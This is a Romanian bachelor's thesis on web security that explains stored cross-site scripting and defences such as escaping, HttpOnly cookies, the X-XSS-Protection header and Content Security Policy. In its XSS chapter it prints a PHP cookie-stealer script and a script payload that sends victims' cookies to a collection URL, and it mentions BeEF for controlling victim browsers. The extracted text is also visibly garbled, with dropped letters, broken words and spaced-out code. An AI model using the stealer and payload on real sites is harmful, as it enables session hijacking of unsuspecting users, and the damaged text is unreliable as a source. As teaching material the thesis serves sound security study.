Universit a tea A urel Vlaicu Arad [619082]

Universit a tea "A urel Vlaicu" Arad
F a cul t a tea de Sti inte Exa cte
Domeniul Inf orma tic 
Analiza Securitate W eb: De la teorie la
studiu de caz
LUCRARE DE LICENT A
Coordona tor s , ti int , ific Student: [anonimizat]µiu Raf ael Alexandr u
Arad, R omânia
Iulie 2019

Cuprins
1 Securitatea W eb 2
2 Cross Site Scripting 4
2.1 Stored(p ersisten t) Cross Site Scripting . . . . . . . . . . . . . . . . . . 4
2.2 Ap rarea împ otriv a atacurilor de tip XSS . . . . . . . . . . . . . . . . . 8
1

Capitolul 1
Securitatea W eb
Cele mai r spândite atacuri sun t asupra site-urilor w eb, acestea ind expuse pu-
blicului. Dup  cum se v ede si din gracul de mai jos, acestea predomina, iar exploa-
tarea unor vulnerabilitati ale acestora p ot afecta gra v an umite companii, ind expuse
informat ,ii p ersonale, detalii despre cardurile bancare, s ,.a.m.d.
Figura 1.1: Pro cen ta jul A tacurilor W eb
A ceste vulnerabilitati sun t de mai m ulte feluri:
 SQL injection
 Cross site scripting
 Lo cal le inclusion
 Remote le inclusion
2

 Remote co de execution, etc
De altfel, aceste vulnerabilitati sun t do cumen tate de c tre O W ASP , care este o
fundat ,ie non-prot, înint ,at  in SUA in an ul 2004. La un an umit n um r de ani(3-4
ani) aces ,tia publica un top cu tipurile de vulnerabilitati exploatate.
T oate aplicat ,iile, do cumen tele s ,i forum urile dezv oltate de O W ASP sun t gratuite s ,i
sun t p en tru orice p ersoan  care este in teresat  de îm bun t t ,irea securit t ,ii aplicat ,iilor.
Figura 1.2: Tipuri de vulnerabilit t ,i
Se p oate observ a ca in topul din an ul 2017 au fost in tro duce 3 noi categorii, acelea
ind:
 XML External En tities
 Insecure Deserialization
 Insucien t logging & monitoring
Se p oate observ a c , a fost com binat insecure direct ob ject references s ,i missing
function lev el access con trols rezultând brok en access con trol, iar atacurile de tip cross
site scripting au a juns de p e lo cul 3 p e lo cul 7.
Exist  mai m ulte aplicat ,ii cu a jutorul c rora putem in v  t ,a mai m ulte despre ata-
curile mai sus en umerate, prin tre care se n um r  si D VW A (damn vulnerable w eb
application), O W ASP Mutillidae Pro ject. Mai exist  s ,i sisteme de op erare mo dicate
in tent ,ionat p en tru a  vulnerabile, cum ar  D VL (damn vulnerable lin ux), Metasplo-
itable 1, 2, 3.
3

Capitolul 2
Cross Site Scripting
2.1 Stored(p ersisten t) Cross Site Scripting
Stored cross site scripting este cel mai distrug tor tip de atac XSS, atacatorul
folosindu-se de acest tip de vulnerabilitate p en tru a injecta con ten t malit ,ios – de cele
mai m ulte ori folosindu-se de ja v ascript  în t ,in ta sa, e c  e v orba de un w ebsite,
forum sau form ular de con tact.
Daca site-ul n u v alideaz  input-ul, de exemplu folosindu-se de o baz  de date, acest
co d malit ,ios este sto cat p ermanen t în aplicat ,ia t ,in tit . De exemplu, atacatorul p oate
insera co dul malit ,ios în tr-un câmp folosit p en tru a p osta comen tarii în tr-un blog.
Figura 2.1: D VW A exemplu atac stored cross site scripting
4

Când victima acceseaz  acea pagin  w eb afectat  cont ,in utul malit ,ios este trimis
c tre bro wser-ul victimei ca s ,i când ar face parte din co dul HTML. Asta înseamn 
c  bro wser-ul victimei v a executa acel co d malit ,ios o dat  ce pagina afectat  a fost
vizualizat  in bro wser.
Anatomia un ui atac de tip stored XSS este urmatoarea:
Prin acest tip de atac, atacatorul p oate fura co okie-urile victimei sau s  o redirect ,ioneze
c tre o alta pagin .
P en tru a prelua co okie-urile utilizatorului, atacatorul p oate crea un s ,ier de tip php
p e care s  îl hosteze, gratuit, de exemplu p e www.000w ebhost.com
Fis ,ierul php v a cont ,ine urm toarele linii de co d:
5

<?p h p
h e a d e r ( ' L o c a t i o n : h t t p s : / / g o o g l e . com ' ) ;
$ c o o k i e s = $ _ G E T [ " c " ] ;
$ f i l e = f o p e n ( ' l o g . t x t ' , ' a ' ) ;
f w r i t e ( $ f i l e , $ c o o k i e s . " \ n \ n " ) ;
?>
Elemen tul header v a redirect ,iona user-ul c tre un alt w ebsite, sau pagina p e care noi
o alegem, in cazul de mai sus utilizatorul ind redirect ,ionat c tre h ttps://go ogle.com.
A doua linie de co d atribuie unei v ariabile co okie-ul. A treia linie desemneaz  s ,ierul
in care v a  sto cat co okie-ul, in cazul nostru log.txt. Ultima linie de co d v a îm bina
v ariabilele denite in cele doua stringuri, p en tru a scrie cont ,in utul v ariabilei  co okie-ul
 in s ,ierul log.txt.
V a  folosit urm torul pa yload:
< s c r i p t t y p e = " t e x t / j a v a s c r i p t " >d o c u m e n t . l o c a t i o n =
' h t t p : / / 1 2 7 . 0 . 0 . 1 / c o o k i e s t e a l e r . p h p ? c= '+ d o c u m e n t . c o o k i e ; </ s c r i p t >
Când acceseaz  pagina afectat , se v a executa co dul ja v ascript, iar p e lâng  faptul
ca userului ii v a  furat co okie-ul, v a  redirect ,ionat c tre pagina desemnata de noi.
A ccesând s ,ierul de p e site, putem v edea co okie-urile sto cate.
În cazul in care atacatorul dores ,te sa redirect ,ioneze utilizatorul c tre o alt  pagin ,
sau w ebsite p oate folosi urm torul pa yload:
< s c r i p t > a l e r t ( d o c u m e n t . l o c a t i o n =h t t p : / / 1 2 7 . 0 . 0 . 1 ) ; < / s c r i p t >
A tacatorul se mai p oate folosi si de BeEF(bro wser exploitation framew ork), XSS
Pro xy sau Bac kframe p en tru a exploata vulnerabilitatea. BeEF are un pa yload prin
care conecteaz  victima la consola sa. În acest fel atacatorul v a putea con trola bro w-
serul victimei prin in termediul consolei BeEF.
6

A cest tip de atac este p osibil deoarece sun t pus ,i parametri nesiguri in co dul surs , cum
ar  tag-urile:
 <p>
 <div>, etc
De altfel, ar  indicat s  n u se pun  parametri nesiguri în urm toarele lo cat ,ii:
1. Direct in script:
<script>…NEVER PUT UNTR USTED D A T A HERE…</script>
2. În in teriorul un ui comen tariu HTML:
<!…NEVER PUT UNTR USTED D A T A HERE…>
3. În cont ,in utul un ui atribut:
<div …NEVER PUT UNTR USTED D A T A HERE…=test />
4. În cont ,in utul un ui tag:
<NEVER PUT UNTR USTED D A T A HERE… href="/test" />
5. Direct în CSS:
<st yle>…NEVER PUT UNTR USTED D A T A HERE…</st yle>
7

2.2 Ap rarea împ otriv a atacurilor de tip XSS
P en tru a ap ra un w ebsite de atacurile de tip XSS, ne v om folosi de urm toarele
sugestii:
1. V om folosi ag-ul HTTPOnly co okie. P en tru a prev eni vulnerabilit t ,ile de
tip cross site scripting in aplicat ,ii este greu, dup  cum ne putem da seama, dar este
recomandat s  set m ag-ul HTTPOnly co okie in sesiunea co okie-ului.
2. V om da escap e la urm toarele caractere folosite in exploatarea vulnerabilit t ,ilor de
tip XSS:
 & > &amp;
 < > &lt;
 > > &gt;
 " > &quot;
 ' > &#x27;
 / > &#x2F;
De exemplu, in tro ducem pa yload-ul în tr-un searc h b o x:
8

Output-ul v a :
3. F olosirea header-ului X-XSS:
A cest header activ eaz  ltrul XSS din an umite bro wsere. De obicei bro wserele au
acest ltru preinstalat, dar acest header reactiv eaz  ltrul în cazul in care user-ul l-a
dezactiv at.
Header-ul X-XSS are mai m ulte v alori, acelea ind:
 V aloarea 0, ceea ce înseamn  ca ltrul XSS este dezactiv at:
x-xss-protection:;
 V aloarea 1, ceea de activ eaz  ltrul XSS, iar în cazul în care este detectat un
atac bro wserul p en tru a opri acest atac v a elimina caracterele malitioase:
x-xss-protection:1;
 V aloarea 1; mo de=blo c k activ eaz  ltrul XSS, iar în cazul în care este detectat
un atac, în lo c de a elimina caractere malit ,ioase, bro wserul v a prev eni randarea
paginii:
x-xss-protection:1; mo de=blo c k
De altfel, acest header se p oate activ a în urm toarele mo duri in Nginx, Apac he si I IS:
9

 În Nginx: add_header x-xss-protection "1; mo de=blo c k" alw a ys;
 În Apac he:
header alw a ys set x-xss-protection "1; mo de=blo c k"
 P en tru a-l activ a în I IS, in tro ducem urm torul co d in s ,ierul W eb.cong:
< s y s t e m . w e b S e r v e r >
. . .
< h t t p P r o t o c o l>
< c u s t o m H e a d e r s >
<a d d n a m e = "X XSS P r o t e c t i o n " v a l u e = " 1 ; mode = b l o c k " / >
</ c u s t o m H e a d e r s >
</ h t t p P r o t o c o l>
. . .
</ s y s t e m . w e b S e r v e r >
Mai exist  un mo d de a v erica securitatea header-elor, putând s  ît ,i scanezi w ebsite-ul
cu urmatorul to ol online, gratuit, dezv oltat de Scott Helme:
4. Implemen tarea Con ten t Securit y P olicy
Ultimele v ersiuni de bro wsere sup ort  Con ten t-Securit y P olicies care p ermit admi-
nistratorului w ebsite-ului s  con troleze de unde p oate  înc rcat si executat co dul ja-
v ascript, atacurile XSS bazându-se p e capabilitatea atacatorului de a executa scripturi
10

malit ,ioase in tag-urile din in teriorul paginii HTML, sau prin "p c lirea bro wserului
p en tru a înc rca co dul ja v ascript de p e un alt domeniu(3rd part y) utilizat de atacator.
Prin setarea p olicy-ului in resp onse header, îi p ot ,i spune bro wserului s  n u execute
nicio dat  inline ja v ascript(<script> co d malit ,ios</script>) s ,i s  denes ,ti domeniile
de p e care se p oate executa co dul ja v ascript.
De exemplu: Con ten t-Securit y-P olicy: script-src 'self ' h ttps://apis.go ogle.com
Con ten t-securit y p olicy p oate  in tro dus s ,i în tr-un <meta> tag în elemen tul <head>
al paginii: <meta h ttp-equiv="Con ten t-Securit y-P olicy" con ten t="script-src 'self ' h t-
tps://apis.go ogle.com">
11

Similar Posts